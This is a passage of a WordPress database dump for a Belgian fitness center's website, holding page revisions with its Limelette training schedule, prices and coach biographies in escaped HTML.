align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-24 08:34:58', '2013-11-24 08:34:58', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(402, 1, '2013-11-24 08:40:03', '2013-11-24 08:40:03', '', 'julie_rogge_pti', '', 'inherit', 'open', 'open', '', 'julie_rogge_pti', '', '', '2013-11-24 08:40:03', '2013-11-24 08:40:03', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(403, 1, '2013-11-24 08:40:22', '2013-11-24 08:40:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-402\&quot; alt=\&quot;julie_rogge_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/julie_rogge_pti.jpg\&quot; width=\&quot;198\&quot; height=\&quot;254\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Rogge&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en Education Physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en préparation physique et entrainement du sportif&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Entraîneur de volley-ball&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de volley-ball, natation et course à pied&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-11-24 08:40:22', '2013-11-24 08:40:22', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(404, 1, '2013-11-24 08:41:15', '2013-11-24 08:41:15', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Formateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr 